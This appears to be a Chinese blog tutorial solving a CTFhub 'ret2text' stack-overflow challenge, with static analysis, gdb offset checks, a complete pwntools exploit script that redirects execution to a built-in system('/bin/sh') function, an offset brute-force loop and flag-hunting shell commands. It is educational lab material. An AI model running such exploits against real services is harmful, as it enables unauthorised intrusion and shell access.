1. 项目概述:一次经典的栈溢出实战
最近在CTFhub上刷pwn题,又遇到了老朋友
ret2text
。这可以说是二进制安全入门路上绕不开的一道坎,也是理解栈溢出攻击原理最直观的案例。题目本身不复杂,但麻雀虽小,五脏俱全,从静态分析、动态调试到最终构造利用链,完整走一遍对新手巩固基础非常有帮助。这次我们就以CTFhub平台的一道典型
ret2text
题目为例,手把手拆解从拿到二进制文件到成功获取shell的全过程。
所谓
ret2text
,即“Return to Text”,是栈溢出利用的一种基础形式。它的核心思想是:通过溢出覆盖函数返回地址,让程序执行流跳转到二进制文件本身
.text
代码段中已经存在的、对我们有利的代码片段(比如调用了
system("/bin/sh")
的函数)。这不像
ret2libc
那样需要计算libc基址,也不像ROP那样需要精心构造gadget链,它直接、暴力,非常适合作为理解控制流劫持的起点。
无论你是刚刚接触pwn的新手,还是想重温一下基础操作的老手,跟着这篇实战解析走一遍,你不仅能拿下这道题,更能透彻理解栈帧布局、函数调用约定和最基本的漏洞利用构造。我们接下来会用到
checksec
、
file
查看程序信息,用
IDA Pro
或
Ghidra
进行静态分析,用
gdb
配合
pwndbg
插件进行动态调试,最终用
pwntools
编写自动化利用脚本。
2. 前期信息收集与静态分析
动手之前,情报工作至关重要。盲目测试效率低下,我们需要先搞清楚目标程序的基本情况和内部结构。
2.1 基础信息探查
首先,把题目给的二进制文件(假设名为
pwn_ret2text
)下载到本地。打开终端,执行以下命令:
file pwn_ret2text
checksec pwn_ret2text
file
命令的输出通常会告诉我们这是不是一个ELF文件,以及是32位还是64位架构。例如,输出
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=..., stripped
。这里的关键信息是“32-bit”,这决定了我们后续的利用细节(比如返回地址的长度是4字节还是8字节)。
checksec
命令(通常由
pwntools
提供)会显示程序的安全编译选项,这是决定利用难度的关键。
[*] '/home/user/pwn_ret2text'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
我们来逐一解读:
- Arch: i386-32-little : 确认是32位小端序程序。
- RELRO: Partial RELRO : 部分RELRO,对GOT表的保护有限,但本题用不到。
- Stack: No canary found : 栈上未启用金丝雀(Canary)保护 。这是好消息!意味着我们可以直接进行栈溢出,而无需先泄露或绕过Canary值。
-
NX: NX enabled
: 栈不可执行(NX)。这意味着我们不能直接把shellcode放在栈上然后跳过去执行。但
ret2text不依赖执行栈上的代码,所以这个保护对我们影响不大。 -
PIE: No PIE (0x8048000)
:
未启用地址空间随机化(PIE)
。这是
ret2text能够成功的关键!程序加载的基地址是固定的0x8048000,这意味着代码段中所有函数和指令的地址在每次运行时都是确定的、可预测的。我们可以直接在脚本里硬编码目标地址。
注意 :如果程序开启了PIE,那么每次运行时代码段的基地址都会变化,
ret2text这种依赖固定地址的攻击方式就会失效,需要结合信息泄露等手段先获取基地址。本题没有PIE,简化了利用。
2.2 代码逻辑与漏洞点定位
接下来,用反汇编工具打开程序。我习惯用
IDA Pro
,免费版的
IDA Freeware
或者开源的
Ghidra
也完全够用。加载程序后,首先看
main
函数。
在
IDA
的
Functions window
里找到
main
,按
F5
生成伪代码。通常这类题目的
main
函数非常简单:
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
return 0;
}
它调用了另一个函数
vulnerable_function
。我们跟进这个函数:
ssize_t vulnerable_function()
{
char buf[64]; // [esp+0h] [ebp-48h]
return read(0, buf, 0x100);
}
漏洞点一目了然!
-
函数内部定义了一个字符数组
buf,从[ebp-0x48]开始,大小为64字节(0x40)。 -
但是,
read函数读取用户输入时,指定了长度0x100(十进制256)。 -
read函数会忠实地向buf写入最多256字节的数据,这远远超过了buf数组本身的容量(64字节)。
这就是一个典型的
栈缓冲区溢出
漏洞。多余的输入数据会覆盖
buf
数组之后栈上的内容,包括但不限于:保存的
ebp
寄存器值、函数的返回地址。
2.3 寻找“后门”函数
ret2text
的精髓在于利用程序自带的代码。我们需要在程序的
.text
段里寻找是否有现成的、能给我们shell的代码。通常,出题人会“贴心”地留下一个这样的函数,常被戏称为“后门”函数。
在
IDA
的
Functions window
里滚动查找,或者使用
Shift+F12
打开字符串窗口,搜索
/bin/sh
、
sh
、
cat flag
等敏感字符串。我们很可能会发现一个名为
shell
或
get_shell
的函数。
双击跳转到这个函数,按
F5
查看伪代码:
int shell()
{
return system("/bin/sh");
}
完美!这个函数直接调用了
system("/bin/sh")
。我们的攻击目标就是让程序执行流跳转到这个函数的地址。
记下这个函数的地址。在
IDA
的汇编视图或伪代码视图,函数名旁边会显示其地址,例如
.text:08048576
。假设
shell
函数的地址是
0x08048576
。
实操心得 :有时候“后门”函数可能不是直接调用
system("/bin/sh"),而是调用execve或者通过其他方式启动shell。也可能没有明显的后门函数,但存在像system、execve这样的危险函数调用,并且通过某些操作(如传递参数)可以触发。对于最基础的ret2text题目,通常都会有一个直接的后门。
3. 漏洞利用链的构造与计算
知道了有溢出,也知道了要跳到哪里去,接下来就需要精确计算如何构造我们的输入数据(即payload),使其恰好覆盖返回地址为目标地址。
3.1 栈帧布局分析与偏移计算
我们需要搞清楚从我们输入的缓冲区
buf
开始,到覆盖返回地址,中间需要填充多少字节的垃圾数据。
根据之前的伪代码,
buf
在栈上的位置是
[ebp-0x48]
。在32位程序中:
-
ebp是当前函数的基址指针。 -
函数返回后,会执行
ret指令,该指令相当于pop eip,即从栈顶弹出数据到指令指针寄存器EIP,从而控制下一条执行的指令。 -
在栈上,
ret指令弹出的“返回地址”位于[ebp+4]的位置(因为call指令会将返回地址压栈,然后ebp被保存)。
所以,从
buf
的起始位置
[ebp-0x48]
到返回地址
[ebp+4]
的偏移量(距离)是:
(ebp+4) - (ebp-0x48) = 4 + 0x48 = 0x4c
(十进制76)。
验证一下
:
buf
大小是
0x40
(64),
buf
末尾到
ebp
之间可能还有对齐空间,但从
ebp-0x48
到
ebp
正好是
0x48
(72)字节。覆盖掉保存的
ebp
(4字节)后,紧接着的4字节就是返回地址。所以总偏移 =
0x48 + 4 = 0x4c
(76)。
因此,我们的payload结构应该是:
[ 76字节的填充数据 ] + [ shell函数的地址 ]
填充数据可以是任意字符,常用
'A'
(0x41)或
'a'
(0x61),方便在调试中识别。
3.2 动态调试验证偏移
静态分析得出的偏移量最好用动态调试验证一下,确保万无一失。我们使用
gdb
配合
pwndbg
插件。
gdb ./pwn_ret2text
在
gdb
中:
# 设置断点在vulnerable_function的read调用之后或函数返回前
pwndbg> break *vulnerable_function+XX # 用实际地址,或直接
pwndbg> break vulnerable_function
pwndbg> run
程序运行后会断下。我们单步执行到
read
调用之后。然后,我们发送一个带有明显模式(pattern)的输入来精确计算偏移。
pwntools
的
cyclic
工具可以生成这样的模式。
方法一:使用pwntools的cyclic 在另一个终端或Python交互环境中:
from pwn import *
cyclic(200) # 生成200个字符的循环模式
会输出一长串字符串,例如
aaaabaaacaaadaaaeaaaf...
。
在
gdb
中,当程序等待输入时,将上面生成的模式字符串粘贴进去。程序继续执行,会因为跳转到非法地址而崩溃。此时查看崩溃时
EIP
寄存器的值:
pwndbg> i r eip
eip 0x6161616c
0x6161616c
对应ASCII字符
'laaa'
(注意小端序)。然后用
cyclic
工具计算偏移:
from pwn import *
cyclic_find(b'laaa') # 或者 cyclic_find(0x6161616c)
如果输出
76
,就验证了我们的计算。
方法二:在gdb中直接观察栈
在函数返回前(
leave
或
ret
指令处),查看栈顶内容。
pwndbg> x/20wx $esp
发送一堆
'A'
后,看
0x41414141
(
'AAAA'
)出现在哪里,也能估算出偏移。
注意事项 :动态链接库的加载、环境变量等因素可能导致栈地址在
gdb内外有细微差别。在最终编写利用脚本时,如果本地打通但远程不通,可能需要微调填充长度。但对于这类基础题,通常偏移是固定的。
4. 利用脚本编写与自动化攻击
掌握了所有必要信息后,就可以用
pwntools
编写Python脚本进行自动化攻击了。
pwntools
是pwn题的利器,能极大简化交互过程。
4.1 基础利用脚本
创建一个名为
exp.py
的文件:
#!/usr/bin/env python3
from pwn import *
# 设置上下文,例如架构、日志级别
context(arch='i386', os='linux', log_level='debug')
# 连接目标:本地文件用于测试,远程用于攻击题目服务器
# 本地测试
io = process('./pwn_ret2text')
# 远程攻击(根据题目修改IP和端口)
# io = remote('challenge.ctfhub.com', 10000)
# 准备payload
offset = 76
shell_addr = 0x08048576 # 这是我们从IDA中找到的shell函数地址
# 构造payload: 偏移量填充 + 目标地址
# p32()用于将整数打包为32位小端序字节串
payload = b'A' * offset + p32(shell_addr)
# 发送payload
io.send(payload) # 或者 io.sendline(payload) 如果程序期待一行输入
# 将交互权交给用户,方便我们操作得到的shell
io.interactive()
4.2 脚本的测试与优化
-
本地测试 :首先在本地运行脚本
python3 exp.py。如果一切正确,你应该会看到一个全新的shell提示符(可能是$),这意味着你成功地在本地启动了/bin/sh。可以执行whoami、ls等命令验证。 -
处理输入输出 :有些题目程序可能使用
gets、fgets或scanf等函数,它们对输入的处理(如是否在末尾加换行、是否截断空格)与read略有不同。如果脚本发送后程序没反应或崩溃,可能需要调整:-
使用
io.sendline(payload)代替io.send(payload),自动在末尾添加换行符\n。 -
如果程序使用
scanf("%s", buf),要注意scanf遇到空格会停止,所以payload里不能有空格(0x20)。我们的地址字节里可能包含0x20吗?0x08048576的字节表示为\x76\x85\x04\x08,不包含0x20,所以安全。 -
使用
io.recvuntil(b'some string')来等待程序输出特定提示信息后再发送payload,确保同步。
-
使用
-
远程攻击 :注释掉
process,取消注释remote,填入正确的IP和端口。运行脚本,如果题目环境正常,就能直接获取远程的shell。
4.3 获取Flag
连接到远程服务器并成功执行
shell()
函数后,我们就获得了一个在题目服务器上运行的shell。通常flag文件就在当前目录或指定目录下,文件名可能是
flag
、
flag.txt
、
flag.php
等。
在
io.interactive()
启动的交互界面中,执行:
ls -la
cat flag
或者
find / -name \"*flag*\" 2>/dev/null
(注意:在真实CTF中,可能需要对目录进行遍历寻找)。
5. 常见问题与深度排查指南
即使按照步骤操作,你也可能会遇到一些问题。这里汇总了一些常见坑点及其解决方案。
5.1 本地通,远程不通
这是最让人头疼的情况。可能的原因和排查思路:
-
栈偏移差异 :这是最常见的原因。程序在
gdb环境中运行和单独运行,或者在不同系统环境下运行,栈的初始布局可能略有不同(主要是环境变量和参数的数量、长度差异)。-
解决方案
:尝试微调
offset。比如本地计算是76,远程可以尝试75或77。可以写一个循环脚本暴力尝试一个小的范围。
for i in range(70, 85): try: io = remote(...) payload = b'A'*i + p32(shell_addr) io.send(payload) # 尝试接收数据或发送一个命令测试 io.sendline(b'echo test') response = io.recv(timeout=2) if b'test' in response: print(f\"Success with offset {i}\") io.interactive() break except: io.close() -
解决方案
:尝试微调
-
地址错误 :确认
shell函数的地址是否正确。远程服务器上的二进制文件是否和你本地分析的一模一样?有时题目更新但本地文件未更新。重新下载题目附件进行确认。 -
输入处理差异 :本地用
process(),远程用remote(),两者在管道处理上可能有一点点不同。确保发送的数据完全一致,特别是换行符。使用io.send(payload)还是io.sendline(payload)要匹配题目的输入函数。 -
libc版本差异 :虽然
ret2text不依赖libc,但如果system函数内部或/bin/sh的启动因为libc版本不同而有细微行为差异,也可能导致失败。但这种情况在基础题中较少见。
5.2 程序崩溃但未获得shell
发送payload后程序崩溃(
Segmentation fault
),但没有弹出shell。
-
地址包含坏字符 :某些函数(如
scanfwith%s,strcpy)会将特定的字节视为字符串终止符。常见的“坏字符”包括:-
0x00(NULL):C语言字符串的终止符。 -
0x0a(\n,LF):换行符,gets会将其替换为0x00,fgets、scanf可能视其为输入结束。 -
0x0d(\r,CR):回车符。 -
0x20(空格):scanf的%s会在此处停止读取。 -
0x09(\t,制表符)。 -
0x0b,0x0c等。 检查你的shell_addr(例如0x08048576)的字节表示\x76\x85\x04\x08,是否包含上述坏字符。\x04和\x08通常不是问题,但\x00(NULL)是绝对的大问题。如果地址中包含0x00(例如0x0804a000),在溢出时,strcpy等函数会在0x00处停止拷贝,导致地址覆盖不完整。 幸运的是,本题的地址0x08048576不包含0x00字节。
-
-
栈对齐问题 :在某些架构或特定环境下,调用函数时栈指针需要满足一定的对齐要求(如16字节对齐)。如果跳转后栈指针未对齐,可能导致
system等函数内部出错。在32位环境下这个问题不突出,但在64位ret2text中可能需要添加一个ret指令的gadget来调整栈指针。本题是32位,通常无需考虑。 -
参数传递问题 :我们跳转到了
shell()函数,它不需要参数。但如果跳转的目标是system函数本身,我们需要确保栈上在返回地址之后的位置(即system函数认为的第一个参数所在的位置)存放着一个指向/bin/sh字符串的指针。本题不需要,因为shell()函数内部已经写死了字符串。
5.3 使用pwntools的调试技巧
-
日志记录 :设置
context(log_level='debug')可以让pwntools打印出所有发送和接收的数据,非常利于调试。 -
GDB调试脚本 :可以在脚本中直接附加GDB进行调试。
io = process('./pwn_ret2text') gdb.attach(io, ''' break *vulnerable_function+XX continue ''')运行脚本后会弹出GDB调试窗口。
-
查看核心转储 :如果程序崩溃,可以开启系统核心转储
ulimit -c unlimited,然后运行程序,用gdb ./pwn_ret2text core来查看崩溃现场。
5.4 从ret2text到更高级的技巧
理解
ret2text
是基础,它引出了更广阔的利用世界:
-
Ret2libc :当程序没有现成的
system或/bin/sh时,就需要从共享库libc中寻找这些“武器”。这需要先泄露libc在内存中的基地址,然后计算system和/bin/sh字符串的实际地址。这通常需要结合另一个漏洞(如格式化字符串漏洞)来泄露地址。 -
ROP (Return-Oriented Programming) :当溢出空间很小(不足以放下很长的shellcode),并且有NX保护时,ROP通过串联程序本身代码段中的一系列以
ret结尾的短指令序列(gadget),来逐步达成复杂目的(如调用mprotect改变内存页属性为可执行,再执行shellcode)。 -
Stack Pivot :当溢出空间极其有限时,可以通过覆盖返回地址为一个
leave; ret的gadget,将栈指针“迁移”到我们可控的另一个区域(如.bss段),从而获得更大的布局空间。
这次对CTFhub上
ret2text
题目的实战解析,覆盖了从信息收集、静态分析、动态调试到最终利用的全流程。关键在于理解栈的结构,精确计算偏移,并找到程序内部可用的“跳板”。虽然这只是二进制安全的冰山一角,但扎实掌握这个基础,将为后续学习更复杂的漏洞利用技术铺平道路。在实战中,多动手调试,耐心分析每一次崩溃的原因,你的利用技巧会越来越熟练。

7798

被折叠的 条评论
为什么被折叠?



